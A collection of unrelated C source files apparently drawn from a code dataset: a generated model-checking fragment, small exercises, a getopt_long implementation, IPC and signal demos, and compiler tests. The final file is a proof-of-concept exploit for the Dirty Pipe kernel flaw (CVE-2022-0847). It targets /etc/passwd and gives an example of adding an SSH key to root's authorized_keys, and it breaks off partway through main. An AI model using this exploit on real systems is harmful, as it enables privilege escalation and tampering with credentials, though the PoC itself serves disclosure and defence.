!_x_p0_l1)))) || (( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l0 && _x_p0_l1)))) && (p0_c == _x_p0_c)) && ((v2 == _x_v2) && (v1 == _x_v1))) || ( !((( !p0_l3) && (( !p0_l2) && (p0_l1 && ( !p0_l0)))) && (p0_evt && (delta == 0.0)))))) && (((proposed0 == _x_proposed0) && ( !(v1 == 1))) || ( !((p0_evt && (delta == 0.0)) && ((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) && (( !p0_l3) && (( !p0_l2) && (p0_l1 && ( !p0_l0))))))))) && ((((v1 == 1) && ( !(p0_c <= max_prop))) && ( !(proposed0 <= _x_proposed0))) || ( !((p0_evt && (delta == 0.0)) && ((( !p0_l3) && (( !p0_l2) && (p0_l1 && ( !p0_l0)))) && (( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l0 && _x_p0_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed0 == _x_proposed0) && ((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) || (( !_x_p0_l3) && (_x_p0_l2 && (( !_x_p0_l0) && ( !_x_p0_l1))))))) || ( !((( !p0_l3) && (( !p0_l2) && (p0_l0 && p0_l1))) && (p0_evt && (delta == 0.0)))))) && ((v2 && (p0_c == _x_p0_c)) || ( !((p0_evt && (delta == 0.0)) && ((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) && (( !p0_l3) && (( !p0_l2) && (p0_l0 && p0_l1)))))))) && (((_x_p0_c == 0.0) && ( !v2)) || ( !((p0_evt && (delta == 0.0)) && ((( !p0_l3) && (( !p0_l2) && (p0_l0 && p0_l1))) && (( !_x_p0_l3) && (_x_p0_l2 && (( !_x_p0_l0) && ( !_x_p0_l1))))))))) && ((((proposed0 == _x_proposed0) && (v1 == _x_v1)) && ((_x_p0_c == 0.0) && (_x_v2 && (( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l0 && ( !_x_p0_l1))))))) || ( !((( !p0_l3) && (p0_l2 && (( !p0_l0) && ( !p0_l1)))) && (p0_evt && (delta == 0.0)))))) && (((proposed0 == _x_proposed0) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p0_c == _x_p0_c) && ((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) || (( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l1 && ( !_x_p0_l0)))))))) || ( !((( !p0_l3) && (p0_l2 && (p0_l0 && ( !p0_l1)))) && (p0_evt && (delta == 0.0)))))) && (( !(v1 == 1)) || ( !((p0_evt && (delta == 0.0)) && ((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) && (( !p0_l3) && (p0_l2 && (p0_l0 && ( !p0_l1))))))))) && ((v1 == 1) || ( !((p0_evt && (delta == 0.0)) && ((( !p0_l3) && (p0_l2 && (p0_l0 && ( !p0_l1)))) && (( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l1 && ( !_x_p0_l0))))))))) && (((proposed0 == _x_proposed0) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l0 && _x_p0_l1))) && (_x_p0_c == 0.0)))) || ( !((( !p0_l3) && (p0_l2 && (p0_l1 && ( !p0_l0)))) && (p0_evt && (delta == 0.0)))))) && (((proposed0 == _x_proposed0) && (((_x_p0_l3 && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) && ( !_x_v2)) && ((_x_p0_c == 0.0) && (v1 == _x_v1)))) || ( !((( !p0_l3) && (p0_l2 && (p0_l0 && p0_l1))) && (p0_evt && (delta == 0.0)))))) && (((proposed0 == _x_proposed0) && (((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) && (_x_v1 == 0)) && ((v2 == _x_v2) && (p0_c == _x_p0_c)))) || ( !((p0_l3 && (( !p0_l2) && (( !p0_l0) && ( !p0_l1)))) && (p0_evt && (delta == 0.0)))))) && ((((((((((((((((((((((_x_v1 == 18) || ((_x_v1 == 17) || ((_x_v1 == 16) || ((_x_v1 == 15) || ((_x_v1 == 14) || ((_x_v1 == 13) || ((_x_v1 == 12) || ((_x_v1 == 11) || ((_x_v1 == 10) || ((_x_v1 == 9) || ((_x_v1 == 8) || ((_x_v1 == 7) || ((_x_v1 == 6) || ((_x_v1 == 5) || ((_x_v1 == 4) || ((_x_v1 == 3) || ((_x_v1 == 2) || ((_x_v1 == 1) || (_x_v1 == 0))))))))))))))))))) && (0.0 <= _x_delta)) && (( !(_x_proposed0 <= 0.0)) && (_x_proposed0 <= _x_max_prop))) && (( !(_x_proposed1 <= 0.0)) && (_x_proposed1 <= _x_max_prop))) && (( !(_x_proposed2 <= 0.0)) && (_x_proposed2 <= _x_max_prop))) && (( !(_x_proposed3 <= 0.0)) && (_x_proposed3 <= _x_max_prop))) && (( !(_x_proposed4 <= 0.0)) && (_x_proposed4 <= _x_max_prop))) && (( !(_x_proposed5 <= 0.0)) && (_x_proposed5 <= _x_max_prop))) && (( !(_x_proposed6 <= 0.0)) && (_x_proposed6 <= _x_max_prop))) && (( !(_x_proposed7 <= 0.0)) && (_x_proposed7 <= _x_max_prop))) && (( !(_x_proposed8 <= 0.0)) && (_x_proposed8 <= _x_max_prop))) && (( !(_x_proposed9 <= 0.0)) && (_x_proposed9 <= _x_max_prop))) && (( !(_x_proposed10 <= 0.0)) && (_x_proposed10 <= _x_max_prop))) && (( !(_x_proposed11 <= 0.0)) && (_x_proposed11 <= _x_max_prop))) && (( !(_x_proposed12 <= 0.0)) && (_x_proposed12 <= _x_max_prop))) && (( !(_x_proposed13 <= 0.0)) && (_x_proposed13 <= _x_max_prop))) && (( !(_x_proposed14 <= 0.0)) && (_x_proposed14 <= _x_max_prop))) && (( !(_x_proposed15 <= 0.0)) && (_x_proposed15 <= _x_max_prop))) && (( !(_x_proposed16 <= 0.0)) && (_x_proposed16 <= _x_max_prop))) && (( !(_x_proposed17 <= 0.0)) && (_x_proposed17 <= _x_max_prop))) && ((((((((((((((((((_x_max_prop == _x_proposed0) || (_x_max_prop == _x_proposed1)) || (_x_max_prop == _x_proposed2)) || (_x_max_prop == _x_proposed3)) || (_x_max_prop == _x_proposed4)) || (_x_max_prop == _x_proposed5)) || (_x_max_prop == _x_proposed6)) || (_x_max_prop == _x_proposed7)) || (_x_max_prop == _x_proposed8)) || (_x_max_prop == _x_proposed9)) || (_x_max_prop == _x_proposed10)) || (_x_max_prop == _x_proposed11)) || (_x_max_prop == _x_proposed12)) || (_x_max_prop == _x_proposed13)) || (_x_max_prop == _x_proposed14)) || (_x_max_prop == _x_proposed15)) || (_x_max_prop == _x_proposed16)) || (_x_max_prop == _x_proposed17))))))))))))))))))))) && ((delta <= 0.0) || ((v2 == _x_v2) && (v1 == _x_v1)))) && (( !(( !p17_evt) && (( !p16_evt) && (( !p15_evt) && (( !p14_evt) && (( !p13_evt) && (( !p12_evt) && (( !p11_evt) && (( !p10_evt) && (( !p9_evt) && (( !p8_evt) && (( !p7_evt) && (( !p6_evt) && (( !p5_evt) && (( !p4_evt) && (( !p3_evt) && (( !p2_evt) && (( !p0_evt) && ( !p1_evt))))))))))))))))))) || ( !(delta == 0.0)))) && (_x_inc_max_prop == (max_prop <= _x_max_prop))) && (((delta == _x__diverge_delta) || ( !(1.0 <= _diverge_delta))) && ((1.0 <= _diverge_delta) || ((delta + (_diverge_delta + (-1.0 * _x__diverge_delta))) == 0.0)))) && ((((((_EL_U_4604 == (_x__EL_U_4604 || ( !(_x__EL_U_4602 || (1.0 <= _x__diverge_delta))))) && ((_EL_U_4602 == (_x__EL_U_4602 || (1.0 <= _x__diverge_delta))) && ((_EL_U_4607 == (_x__EL_U_4607 || ( !_x_inc_max_prop))) && (_EL_U_4609 == (_x__EL_U_4609 || ( !(_x__EL_U_4607 || ( !_x_inc_max_prop)))))))) && (_x__J4629 == (( !(((_J4629 && _J4635) && _J4641) && _J4647)) && ((((_J4629 && _J4635) && _J4641) && _J4647) || ((( !inc_max_prop) || ( !(( !inc_max_prop) || _EL_U_4607))) || _J4629))))) && (_x__J4635 == (( !(((_J4629 && _J4635) && _J4641) && _J4647)) && ((((_J4629 && _J4635) && _J4641) && _J4647) || ((( !(( !inc_max_prop) || _EL_U_4607)) || ( !(_EL_U_4609 || ( !(( !inc_max_prop) || _EL_U_4607))))) || _J4635))))) && (_x__J4641 == (( !(((_J4629 && _J4635) && _J4641) && _J4647)) && ((((_J4629 && _J4635) && _J4641) && _J4647) || (((1.0 <= _diverge_delta) || ( !((1.0 <= _diverge_delta) || _EL_U_4602))) || _J4641))))) && (_x__J4647 == (( !(((_J4629 && _J4635) && _J4641) && _J4647)) && ((((_J4629 && _J4635) && _J4641) && _J4647) || ((( !((1.0 <= _diverge_delta) || _EL_U_4602)) || ( !(_EL_U_4604 || ( !((1.0 <= _diverge_delta) || _EL_U_4602))))) || _J4647))))));
_diverge_delta = _x__diverge_delta;
delta = _x_delta;
proposed17 = _x_proposed17;
p5_c = _x_p5_c;
max_prop = _x_max_prop;
proposed16 = _x_proposed16;
p16_l1 = _x_p16_l1;
proposed15 = _x_proposed15;
p16_l0 = _x_p16_l0;
proposed14 = _x_proposed14;
p16_l2 = _x_p16_l2;
proposed13 = _x_proposed13;
proposed12 = _x_proposed12;
p16_l3 = _x_p16_l3;
proposed11 = _x_proposed11;
proposed10 = _x_proposed10;
proposed9 = _x_proposed9;
proposed8 = _x_proposed8;
proposed7 = _x_proposed7;
proposed6 = _x_proposed6;
proposed5 = _x_proposed5;
p6_l1 = _x_p6_l1;
p16_c = _x_p16_c;
proposed4 = _x_proposed4;
p6_l0 = _x_p6_l0;
proposed3 = _x_proposed3;
p6_l2 = _x_p6_l2;
proposed2 = _x_proposed2;
proposed1 = _x_proposed1;
p6_l3 = _x_p6_l3;
proposed0 = _x_proposed0;
p6_c = _x_p6_c;
p17_l1 = _x_p17_l1;
p17_l0 = _x_p17_l0;
p17_l2 = _x_p17_l2;
p17_l3 = _x_p17_l3;
p7_l1 = _x_p7_l1;
p17_c = _x_p17_c;
p7_l0 = _x_p7_l0;
p7_l2 = _x_p7_l2;
p7_l3 = _x_p7_l3;
p7_c = _x_p7_c;
_J4647 = _x__J4647;
_J4641 = _x__J4641;
_J4635 = _x__J4635;
_J4629 = _x__J4629;
_EL_U_4602 = _x__EL_U_4602;
_EL_U_4604 = _x__EL_U_4604;
_EL_U_4607 = _x__EL_U_4607;
_EL_U_4609 = _x__EL_U_4609;
p8_l1 = _x_p8_l1;
p8_l0 = _x_p8_l0;
p8_l2 = _x_p8_l2;
p8_l3 = _x_p8_l3;
p8_c = _x_p8_c;
p1_evt = _x_p1_evt;
v1 = _x_v1;
p0_evt = _x_p0_evt;
p2_evt = _x_p2_evt;
p3_evt = _x_p3_evt;
p4_evt = _x_p4_evt;
p5_evt = _x_p5_evt;
p6_evt = _x_p6_evt;
p7_evt = _x_p7_evt;
p8_evt = _x_p8_evt;
p9_l1 = _x_p9_l1;
p9_l0 = _x_p9_l0;
p9_evt = _x_p9_evt;
p9_l2 = _x_p9_l2;
p10_evt = _x_p10_evt;
p9_l3 = _x_p9_l3;
p11_evt = _x_p11_evt;
p12_evt = _x_p12_evt;
p13_evt = _x_p13_evt;
p14_evt = _x_p14_evt;
p15_evt = _x_p15_evt;
p9_c = _x_p9_c;
p16_evt = _x_p16_evt;
p17_evt = _x_p17_evt;
inc_max_prop = _x_inc_max_prop;
v2 = _x_v2;
p10_l1 = _x_p10_l1;
p10_l0 = _x_p10_l0;
p10_l2 = _x_p10_l2;
p10_l3 = _x_p10_l3;
p0_l1 = _x_p0_l1;
p10_c = _x_p10_c;
p0_l0 = _x_p0_l0;
p0_l2 = _x_p0_l2;
p0_l3 = _x_p0_l3;
p0_c = _x_p0_c;
p11_l1 = _x_p11_l1;
p11_l0 = _x_p11_l0;
p11_l2 = _x_p11_l2;
p11_l3 = _x_p11_l3;
p1_l1 = _x_p1_l1;
p11_c = _x_p11_c;
p1_l0 = _x_p1_l0;
p1_l2 = _x_p1_l2;
p1_l3 = _x_p1_l3;
p1_c = _x_p1_c;
p12_l1 = _x_p12_l1;
p12_l0 = _x_p12_l0;
p12_l2 = _x_p12_l2;
p12_l3 = _x_p12_l3;
p2_l1 = _x_p2_l1;
p12_c = _x_p12_c;
p2_l0 = _x_p2_l0;
p2_l2 = _x_p2_l2;
p2_l3 = _x_p2_l3;
p2_c = _x_p2_c;
p13_l1 = _x_p13_l1;
p13_l0 = _x_p13_l0;
p13_l2 = _x_p13_l2;
p13_l3 = _x_p13_l3;
p3_l1 = _x_p3_l1;
p13_c = _x_p13_c;
p3_l0 = _x_p3_l0;
p3_l2 = _x_p3_l2;
p3_l3 = _x_p3_l3;
p3_c = _x_p3_c;
p14_l1 = _x_p14_l1;
p14_l0 = _x_p14_l0;
p14_l2 = _x_p14_l2;
p14_l3 = _x_p14_l3;
p4_l1 = _x_p4_l1;
p14_c = _x_p14_c;
p4_l0 = _x_p4_l0;
p4_l2 = _x_p4_l2;
p4_l3 = _x_p4_l3;
p4_c = _x_p4_c;
p15_l1 = _x_p15_l1;
p15_l0 = _x_p15_l0;
p15_l2 = _x_p15_l2;
p15_l3 = _x_p15_l3;
p5_l1 = _x_p5_l1;
p15_c = _x_p15_c;
p5_l0 = _x_p5_l0;
p5_l2 = _x_p5_l2;
p5_l3 = _x_p5_l3;
}
}
|
the_stack_data/162642245.c | /*
* This program unsets the kth bit in a given number. For more
* information on this, please refer to the following post:-
* http://www.geeksforgeeks.org/how-to-turn-off-a-particular-bit-in-a-number/
*/
#include<stdio.h>
#include<assert.h>
#define BITS_PER_BYTE 8 /* Number of bits per byte */
#define ILLEGAL ~0 /* Illegal value case unsetting of
a bit fails for some reason */
/*
* This function un-sets the kth bit in a number. The value of 'k'
* is interpreted as zero based index. So if 'k' is zero, then the
* first bit in the input number will be set to zero. If the value
* of 'k' is not legal, then this function returns maximum possible
* integer value.
*/
unsigned int unset_the_kth_bit_in_a_number (unsigned int num, int k)
{
/*
* If 'k' is less than or its value is greater than or equal to
* the maximum number of bits in the input number, then return
* ILLEGAL.
*/
if ((k < 0) || (k >= (BITS_PER_BYTE * sizeof(num)))) {
return(~0);
}
/*
* Generate the bit mask for the un-setting the kth bit in
* the number
*/
unsigned int kth_bit_unset_mask = ~(1 << k);
/*
* Return the bitwise and operation of the input number and
* the bit mask
*/
return(num & kth_bit_unset_mask);
}
int main ()
{
/*
* Test 0: Test with value zero and k equal to one. There is
* no bit to un-set in zero, so return value will be
* zero
*/
assert(0 == unset_the_kth_bit_in_a_number(0, 1));
/*
* Test 1: Test with value zero and k equal to maximum number
* of bits in the integer. There is no bit to un-set in
* the number, so return value will be ILLEGAL
*/
assert(ILLEGAL == unset_the_kth_bit_in_a_number(0, 32));
/*
* Test 2: Test with value zero and k equal to less than zero
* There is no bit to un-set in the number, so return
* value will be ILLEGAL
*/
assert(ILLEGAL == unset_the_kth_bit_in_a_number(0, -1));
/*
* Test 3: Test un-setting the 0th bit in number
*/
assert(14 == unset_the_kth_bit_in_a_number(15, 0));
/*
* Test 4: Test un-setting the 1st bit in number
*/
assert(13 == unset_the_kth_bit_in_a_number(15, 1));
/*
* Test 5: Test un-setting the bit which is not set in the
* number. The return value should be same as the
* number itself.
*/
assert(15 == unset_the_kth_bit_in_a_number(15, 10));
return(0);
}
|
the_stack_data/103503.c | #include<stdio.h>
int is_zhishu(int n)
{ int mark=0;
if(n==2) mark=1;
else
{
int i=2;
for(; i<n; i++)
{
if(n%i==0)
{ mark=1;
break;
}
}
}
return mark;
}
int main()
{
int n;
scanf("%d",&n);
int k=n+1;
while(is_zhishu(k)==1) k++;
printf("%d",k);
return 0;
} |
the_stack_data/232955623.c | /* ************************************************************************** */
/* */
/* :::::::: */
/* SolvePuzzle.c |o_o || | */
/* +:+ */
/* By: safoh <[email protected]> +#+ */
/* +#+ */
/* Created: 2021/08/04 13:57:18 by safoh #+# #+# */
/* Updated: 2021/11/24 14:19:40 by safoh \___)=(___/ */
/* */
/* ************************************************************************** */
int** SolvePuzzle (int *clues)
{
int result[4][4];
if (!clues)
return (0);
(void)result;
return (0);
}
|
the_stack_data/51700579.c | int sum(int n){
if(n <= 0){
return 0;
} else {
return n + sum(n - 1);
}
}
int main(){
return sum(10);
return 0;
}
|
the_stack_data/92326227.c | void *malloc(unsigned int s);
struct nodet {
struct nodet *n;
int payload;
};
int main() {
unsigned i;
struct nodet *list=(void *)0;
struct nodet *new_node;
for(i=0; i<10; i++) {
new_node=malloc(sizeof(*new_node));
new_node->n=list;
list=new_node;
}
}
|
the_stack_data/126701953.c | #include <stdio.h>
int main () {
printf ("hola mundo");
} |
the_stack_data/187641891.c | #include <stdio.h>
int main()
{
int i, x, x1, x2;
int k, flag;
for (x = 100; x <= 999; x++)
{
for (i = 2, flag = 0, k = x >> 1; i <= k; i++) //保证flag每次刷新
{
if (!(x % i))
{
flag = 1;
break;
}
}
if (flag == 1)
{
x1 = x / 10;
for (i = 2, flag = 0, k = x1 >> 1; i <= k; i++) //保证flag每次刷新
{
if (!(x1 % i))
{
flag = 1;
break;
}
}
}
if (flag == 1)
{
x2 = x1 / 10;
for (i = 2, flag = 0, k = x2 >> 1; i <= k; i++) //保证flag每次刷新
{
if (!(x2 % i))
{
flag = 1;
break;
}
}
}
if (flag == 1)
printf("%2d", x);
}
return 0;
}
|
the_stack_data/64199438.c | int strlen(char * str){
int i = 0;
while(*str != '\0'){
str++;
i++;
}
return i;
}
void reverse(char *s){
char *j;
int c;
j = s + strlen(s) - 1;
while(s < j) {
c = *s;
*s++ = *j;
*j-- = c;
}
}
void itoa(int n, char s[])
{
int i, sign;
if ((sign = n) < 0) /* record sign */
n = -n; /* make n positive */
i = 0;
do { /* generate digits in reverse order */
s[i++] = n % 10 + '0'; /* get next digit */
} while ((n /= 10) > 0); /* delete it */
if (sign < 0)
s[i++] = '-';
s[i] = '\0';
reverse(s);
}
// Compares strings s1 and s2 up until n characters
// returns 1 if equal, returns 0 otherwise
int strncmp(const char* s1, const char* s2, int n){
int i = 0;
char c = 0;
while((i < n) && (*s1 == *s2)){
s1++;
s2++;
i++;
}
return i == n;
}
|
the_stack_data/104826937.c | /*
* Copyright (C) 2006 Rich Felker <[email protected]>
*
* Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.
*/
#include <stddef.h>
#include <getopt.h>
#include <stdio.h>
static int __getopt_long(int argc, char *const *argv, const char *optstring, const struct option *longopts, int *idx, int longonly)
{
if (optind >= argc || !argv[optind] || argv[optind][0] != '-') return -1;
if ((longonly && argv[optind][1]) ||
(argv[optind][1] == '-' && argv[optind][2]))
{
int i;
for (i=0; longopts[i].name; i++) {
const char *name = longopts[i].name;
char *opt = argv[optind]+2;
while (*name && *name++ == *opt++);
if (*name || (*opt && *opt != '=')) continue;
if (*opt == '=') {
if (!longopts[i].has_arg) continue;
optarg = opt+1;
} else {
if (longopts[i].has_arg == required_argument) {
if (!(optarg = argv[++optind]))
return ':';
} else optarg = NULL;
}
optind++;
if (idx) *idx = i;
if (longopts[i].flag) {
*longopts[i].flag = longopts[i].val;
return 0;
}
return longopts[i].val;
}
if (argv[optind][1] == '-') {
optind++;
return '?';
}
}
return getopt(argc, argv, optstring);
}
int getopt_long(int argc, char *const *argv, const char *optstring, const struct option *longopts, int *idx)
{
return __getopt_long(argc, argv, optstring, longopts, idx, 0);
}
int getopt_long_only(int argc, char *const *argv, const char *optstring, const struct option *longopts, int *idx)
{
return __getopt_long(argc, argv, optstring, longopts, idx, 1);
}
|
the_stack_data/143811.c | //
// Created by zhangrongxiang on 2017/9/27 15:29
// File client
//
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <stdio.h>
#include <semaphore.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#define SHMSZ 27
char SEM_NAME[] = "vik";
int main() {
char ch;
int shmid;
key_t key;
char *shm, *s;
sem_t *mutex;
//name the shared memory segment
key = 1000;
//create & initialize existing semaphore
mutex = sem_open(SEM_NAME, 0, 0644, 0);
if (mutex == SEM_FAILED) {
perror("reader:unable to execute semaphore");
sem_close(mutex);
exit(-1);
}
//create the shared memory segment with this key
shmid = shmget(key, SHMSZ, 0666);
if (shmid < 0) {
perror("reader:failure in shmget");
exit(-1);
}
//attach this segment to virtual memory
shm = shmat(shmid, NULL, 0);
//start reading
s = shm;
for (s = shm; *s != NULL; s++) {
sem_wait(mutex);
putchar(*s);
sem_post(mutex);
}
printf("client: shm is %s\n", shm);
//once done signal exiting of reader:This can be replaced by another semaphore
*shm = '*';
sem_close(mutex);
shmctl(shmid, IPC_RMID, 0);
exit(0);
} |
the_stack_data/92329231.c |
typedef unsigned long ULONG_PTR;
typedef ULONG_PTR KAFFINITY;
int main(void)
{
KAFFINITY Processors;
//__CPROVER_assume(Processors!=1);
while (Processors) {
if (Processors & 1) {
;
}
Processors = Processors >> 1;
;
}
return 0;
}
|
the_stack_data/181393366.c | /* Generated by CIL v. 1.5.1 */
/* print_CIL_Input is true */
#line 1 "../../scopingTest4.c"
int main(void)
{
int i ;
int i___0 ;
int a ;
{
#line 2
i = 0;
{
#line 4
while (1) {
while_continue: /* CIL Label */ ;
#line 4
if (i) {
} else {
#line 4
goto while_break;
}
#line 5
i___0 = 5;
}
while_break: /* CIL Label */ ;
}
#line 7
a = 0;
#line 9
return (0);
}
}
#line 12 "../../scopingTest4.c"
int func1(void)
{
int i ;
{
#line 13
i = 6;
#line 15
return (i);
}
}
|
the_stack_data/37636733.c | #include<stdio.h>
int binsearch(int, int[], int);
int main()
{
int v[] = {1, 2, 3, 4, 5, 6, 7};
printf("Location: %d\n", binsearch(8, v, 6));
return 0;
}
int binsearch(int x, int v[], int n)
{
int low, high, mid, prev;
low = 0;
high = n;
prev = 0;
while (low < high) {
mid = (low + high) / 2;
if (v[mid] <= x)
low = mid;
else
high = mid;
if (prev == mid)
break;
prev = mid;
}
if (v[low] == x)
return low;
return -1;
}
|
the_stack_data/182952256.c | #include <stdio.h>
#include <stdlib.h>
void main(int argc, char *argv[]) {
int total;
int n;
int i;
/* Your edit goes below */
/* Add line above */
if(argc > 1) {
i = atoi(argv[1]);
}
else {
printf("You must provide one integer argument greater than 0.\n");
i = -1;
}
for(n = 0; n <= i; n++) {
if(n % 2 == 0){
total += (n + n + 1) * n;
}
else{
total -= (n + n + 1) * n;
}
}
total = abs(total);
printf("The value of 1 should be 3.\nThe value of 2 should be 7.\nThe value of 3 should be 14.\nThe value of 4 should be 22.\nYour total is: %d\n", total);
}
|
the_stack_data/12637854.c | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
int main()
{
float milhas, km;
printf("Digite a distancia em milhas: ");
scanf("%f", &milhas);
km = (1.61*milhas);
printf("\nA distancia em km eh: %.2f", km);
return 0;
}
|
the_stack_data/135097.c | #include <assert.h>
#pragma CIVL ACSL
/*@ requires x[0][0][0] == 0;
*/
int add(int *** x)
{
x[0][0][0] = 0;
return x[0][0][0];
}
|
the_stack_data/75138527.c | #include<stdio.h>
int a[100010]={};
int main()
{
int n,k,i,m;
scanf("%d",&n);
for(i=0;i<n;i++)
{
scanf("%d",&m);
a[m]++;
}
scanf("%d",&k);
i=100009;
while(a[i]==0)i--;
while(k!=1||a[i]==0)
{
if(a[i]==0)i--;
else {
i--;
k--;
}
}
printf("%d %d",i,a[i]);
return 0;
} |
the_stack_data/592375.c | #include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/wait.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include<pthread.h>
void *myfun(void *i)
{
printf("\nMe the thread with PID %d\n",getpid());
return NULL;
}
void interrupt_fun2()
{
pthread_t thread_id;
pthread_create(&thread_id,NULL,myfun,NULL);
pthread_join(thread_id,NULL);
}
void interrupt_fun()
{
int id;
id = fork();
if(id==0)
{
printf("\nMe the child with PID:%d\n",getpid());
printf("\nWaiting For 2nd interrupt function\n");
//signal(SIGINT,interrupt_fun2);
//sleep(20);
}
}
int main()
{
printf("\nWaiting for interrupt\n");
signal(SIGINT,interrupt_fun);
sleep(2);
signal(SIGINT,interrupt_fun2);
sleep(2);
return 0;
} |
the_stack_data/176704892.c | /* { dg-do compile } */
/* { dg-require-effective-target pie } */
/* { dg-options "-O2 -fpic" } */
/* Weak initialized symbol with -fpic. */
__attribute__((weak))
int xxx = -1;
int
foo ()
{
return xxx;
}
/* { dg-final { scan-assembler-not "movl\[ \t\]xxx\\(%rip\\), %" { target { ! ia32 } } } } */
/* { dg-final { scan-assembler "xxx@GOTPCREL" { target { ! ia32 } } } } */
/* { dg-final { scan-assembler-not "movl\[ \t\]xxx@GOTOFF\\(%\[^,\]*\\), %" { target ia32 } } } */
/* { dg-final { scan-assembler "movl\[ \t\]xxx@GOT\\(%\[^,\]*\\), %" { target ia32 } } } */
|
the_stack_data/113459.c | /* Generated by CIL v. 1.7.0 */
/* print_CIL_Input is false */
struct _IO_FILE;
struct timeval;
extern float strtof(char const *str , char const *endptr ) ;
extern void signal(int sig , void *func ) ;
typedef struct _IO_FILE FILE;
extern int atoi(char const *s ) ;
extern double strtod(char const *str , char const *endptr ) ;
extern int fclose(void *stream ) ;
extern void *fopen(char const *filename , char const *mode ) ;
extern void abort() ;
extern void exit(int status ) ;
extern int raise(int sig ) ;
extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ;
extern int strcmp(char const *a , char const *b ) ;
extern int rand() ;
extern unsigned long strtoul(char const *str , char const *endptr , int base ) ;
void RandomFunc(unsigned char input[1] , unsigned char output[1] ) ;
extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ;
extern int gettimeofday(struct timeval *tv , void *tz , ...) ;
extern int printf(char const *format , ...) ;
int main(int argc , char *argv[] ) ;
void megaInit(void) ;
extern unsigned long strlen(char const *s ) ;
extern long strtol(char const *str , char const *endptr , int base ) ;
extern unsigned long strnlen(char const *s , unsigned long maxlen ) ;
extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ;
struct timeval {
long tv_sec ;
long tv_usec ;
};
extern void *malloc(unsigned long size ) ;
extern int scanf(char const *format , ...) ;
void RandomFunc(unsigned char input[1] , unsigned char output[1] )
{
unsigned char state[1] ;
unsigned char local2 ;
unsigned char local1 ;
{
state[0UL] = input[0UL] + (unsigned char)69;
local1 = 0UL;
while (local1 < 1UL) {
local2 = 0UL;
while (local2 < 1UL) {
state[0UL] = state[local1] - state[0UL];
state[0UL] += state[0UL];
local2 += 2UL;
}
local1 += 2UL;
}
output[0UL] = state[0UL] + (unsigned char)141;
}
}
int main(int argc , char *argv[] )
{
unsigned char input[1] ;
unsigned char output[1] ;
int randomFuns_i5 ;
unsigned char randomFuns_value6 ;
int randomFuns_main_i7 ;
{
megaInit();
if (argc != 2) {
printf("Call this program with %i arguments\n", 1);
exit(-1);
} else {
}
randomFuns_i5 = 0;
while (randomFuns_i5 < 1) {
randomFuns_value6 = (unsigned char )strtoul(argv[randomFuns_i5 + 1], 0, 10);
input[randomFuns_i5] = randomFuns_value6;
randomFuns_i5 ++;
}
RandomFunc(input, output);
if (output[0] == 141) {
printf("You win!\n");
} else {
}
randomFuns_main_i7 = 0;
while (randomFuns_main_i7 < 1) {
printf("%u\n", output[randomFuns_main_i7]);
randomFuns_main_i7 ++;
}
}
}
void megaInit(void)
{
{
}
}
|
the_stack_data/72822.c | /* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main() {
const char *const path = "/etc/passwd";
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
